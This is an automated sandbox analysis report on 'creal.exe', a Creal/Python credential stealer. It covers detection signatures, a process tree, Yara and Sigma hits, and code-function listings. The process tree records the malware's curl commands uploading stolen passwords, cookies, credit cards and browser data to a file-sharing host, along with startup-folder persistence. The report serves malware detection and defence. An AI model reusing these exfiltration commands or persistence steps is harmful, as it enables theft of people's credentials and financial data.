Edit tour

Windows Analysis Report
creal.exe

Overview

General Information

Sample name:	creal.exe
Analysis ID:	1592536
MD5:	da1695dba8bd25d00e05e7769d6d7e8e
SHA1:	884c5b84185bfcc06b2f82474642e23af842cf26
SHA256:	7166d6cc2435061f32cf982dba8f6ec27fc23a46c9705aa52fb2ba08eb7011aa
Tags:	exemalwaretrojanuser-Joker
Infos:

Detection

Python Stealer, Creal Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Yara detected Creal Stealer

AI detected suspicious sample

Drops PE files to the startup folder

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal communication platform credentials (via file / registry access)

Yara detected Generic Python Stealer

Binary contains a suspicious time stamp

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Startup Folder File Write

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

creal.exe (PID: 7524 cmdline: "C:\Users\user\Desktop\creal.exe" MD5: DA1695DBA8BD25D00E05E7769D6D7E8E)

creal.exe (PID: 7612 cmdline: "C:\Users\user\Desktop\creal.exe" MD5: DA1695DBA8BD25D00E05E7769D6D7E8E)

cmd.exe (PID: 7648 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7700 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 1528 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 748 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 6432 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 7608 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 4696 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3720 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 1556 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 1944 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 2052 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3252 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 2624 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3004 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

dllhost.exe (PID: 7648 cmdline: C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

creal.exe (PID: 4292 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe" MD5: DA1695DBA8BD25D00E05E7769D6D7E8E)

creal.exe (PID: 4992 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe" MD5: DA1695DBA8BD25D00E05E7769D6D7E8E)

cmd.exe (PID: 7808 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7852 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 3492 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3480 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 6844 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 1080 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 1912 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 2024 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 3632 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 2292 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 316 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 3004 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 3412 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 6564 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000001C.00000003.1716089607.000002085E24E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1717159393.000002085E25C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1715402115.000002085F215000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1713151539.000002085E24C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1711307435.000002085F388000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1530242051.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1506165356.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000002.1570834386.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1551554678.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1535265611.00000185BBDD4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000002.1748038824.000002085F38A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1506829823.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1514358388.00000185BBDA3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1546407514.00000185BBDF9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1552635462.00000185BC84E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1723970775.000002085E860000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000002.1570617892.00000185BC84E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1526078196.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1531149169.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1546301683.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1703156457.000002085F1E6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1520628565.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1520628565.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1712107588.000002085E22D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000002.1737494959.000002085E25D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1703944510.000002085E851000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1534840732.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1704228303.000002085F214000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1704032686.000002085F380000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1703552422.000002085F1E6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1516736251.00000185BBDD3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000002.1748098900.000002085F860000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1703762541.000002085F1E6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1707931768.000002085E22C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1706137097.000002085E212000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1514920740.00000185BBDBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1707127966.000002085E212000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000002.1747339313.000002085F21D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1715680731.000002085E24E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1542555830.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
00000002.00000003.1551628084.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
0000001C.00000003.1703156457.000002085F085000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
Process Memory Space: creal.exe PID: 7612	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
Process Memory Space: creal.exe PID: 7612	JoeSecurity_CrealStealer	Yara detected Creal Stealer	Joe Security
Process Memory Space: creal.exe PID: 7612	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 46 entries

Sigma Signatures

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\creal.exe, ProcessId: 7612, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile", CommandLine: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\creal.exe", ParentImage: C:\Users\user\Desktop\creal.exe, ParentProcessId: 7612, ParentProcessName: creal.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile", ProcessId: 1528, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: creal.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://discord.gift/

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: creal.exe	Virustotal: Detection: 79%			Perma Link
Source: creal.exe	ReversingLabs: Detection: 75%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: geolocation-db.com

Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7176244 CRYPTO_memcmp,	2_2_00007FF8E7176244
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71718E0 _Py_NoneStruct,_PyArg_UnpackKeywords,PyObject_GetBuffer,PyBuffer_IsContiguous,PyObject_GetBuffer,PyBuffer_IsContiguous,PyLong_AsUnsignedLong,PyLong_AsUnsignedLong,PyLong_AsUnsignedLong,EVP_PBE_scrypt,PyBytes_FromStringAndSize,PyEval_SaveThread,EVP_PBE_scrypt,PyEval_RestoreThread,PyExc_ValueError,PyErr_SetString,PyBuffer_Release,PyBuffer_Release,PyLong_AsLong,PyErr_Occurred,PyLong_AsLong,PyErr_Occurred,PyExc_ValueError,PyExc_ValueError,PyErr_Format,_PyArg_BadArgument,_PyArg_BadArgument,_PyArg_BadArgument,PyExc_TypeError,PyErr_Occurred,PyExc_TypeError,PyErr_Occurred,PyExc_TypeError,PyErr_Occurred,PyExc_TypeError,_PyArg_BadArgument,_PyArg_BadArgument,PyExc_OverflowError,PyExc_OverflowError,_Py_Dealloc,PyExc_ValueError,	2_2_00007FF8E71718E0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7218E50 CRYPTO_malloc,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,	2_2_00007FF8E7218E50
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E721E870 CRYPTO_free,	2_2_00007FF8E721E870
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71F0880 X509_VERIFY_PARAM_free,CRYPTO_free_ex_data,BIO_pop,BIO_free,BIO_free_all,BIO_free_all,BUF_MEM_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,SCT_LIST_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_MD_CTX_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,ASYNC_WAIT_CTX_free,CRYPTO_free,OPENSSL_sk_free,CRYPTO_THREAD_lock_free,CRYPTO_free,	2_2_00007FF8E71F0880
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7212890 ERR_new,ERR_set_debug,BN_num_bits,CRYPTO_malloc,ERR_new,ERR_set_debug,BN_bn2bin,ERR_new,ERR_set_debug,BN_clear_free,BN_clear_free,CRYPTO_clear_free,ERR_new,ERR_set_debug,BN_clear_free,BN_clear_free,BN_clear_free,	2_2_00007FF8E7212890
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7214880 CRYPTO_malloc,memset,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,	2_2_00007FF8E7214880
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D23EC EVP_MD_get_size,EVP_CIPHER_get_iv_length,EVP_CIPHER_get_key_length,CRYPTO_clear_free,CRYPTO_malloc,ERR_new,ERR_set_debug,	2_2_00007FF8E71D23EC
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E721E8D0 CRYPTO_free,	2_2_00007FF8E721E8D0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1B54 memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,memcmp,EVP_CIPHER_CTX_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcmp,memcpy,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,	2_2_00007FF8E71D1B54
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E721E731 CRYPTO_free,CRYPTO_free,	2_2_00007FF8E721E731
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71EE72A CRYPTO_THREAD_write_lock,	2_2_00007FF8E71EE72A
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71EE72C CRYPTO_THREAD_write_lock,	2_2_00007FF8E71EE72C
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1AB4 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,	2_2_00007FF8E71D1AB4
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7228700 CRYPTO_free,CRYPTO_memdup,	2_2_00007FF8E7228700
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1893 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_strdup,ERR_new,ERR_set_debug,	2_2_00007FF8E71D1893
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D26F8 BIO_s_file,BIO_new,ERR_new,ERR_set_debug,BIO_ctrl,ERR_new,ERR_set_debug,strncmp,ERR_new,ERR_set_debug,strncmp,CRYPTO_realloc,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,PEM_read_bio,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,BIO_free,	2_2_00007FF8E71D26F8
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D198D CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	2_2_00007FF8E71D198D
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D24DC CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,memcpy,	2_2_00007FF8E71D24DC
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71E27B0 CRYPTO_THREAD_run_once,	2_2_00007FF8E71E27B0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7234780 ERR_new,ERR_set_debug,X509_get0_pubkey,ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,RAND_bytes_ex,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_encrypt_init,EVP_PKEY_encrypt,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_clear_free,EVP_PKEY_CTX_free,	2_2_00007FF8E7234780
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D223E ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_clear_free,	2_2_00007FF8E71D223E
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D103C CRYPTO_malloc,COMP_expand_block,	2_2_00007FF8E71D103C
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D1217 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,	2_2_00007FF8E71D1217
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E721E6B0 CRYPTO_free,	2_2_00007FF8E721E6B0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E72046B0 CRYPTO_realloc,memcpy,ERR_new,ERR_set_debug,ERR_set_error,	2_2_00007FF8E72046B0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71F26C0 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,OPENSSL_sk_dup,X509_VERIFY_PARAM_new,X509_VERIFY_PARAM_inherit,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_malloc,memcpy,CRYPTO_new_ex_data,	2_2_00007FF8E71F26C0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71D16A4 CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	2_2_00007FF8E71D16A4
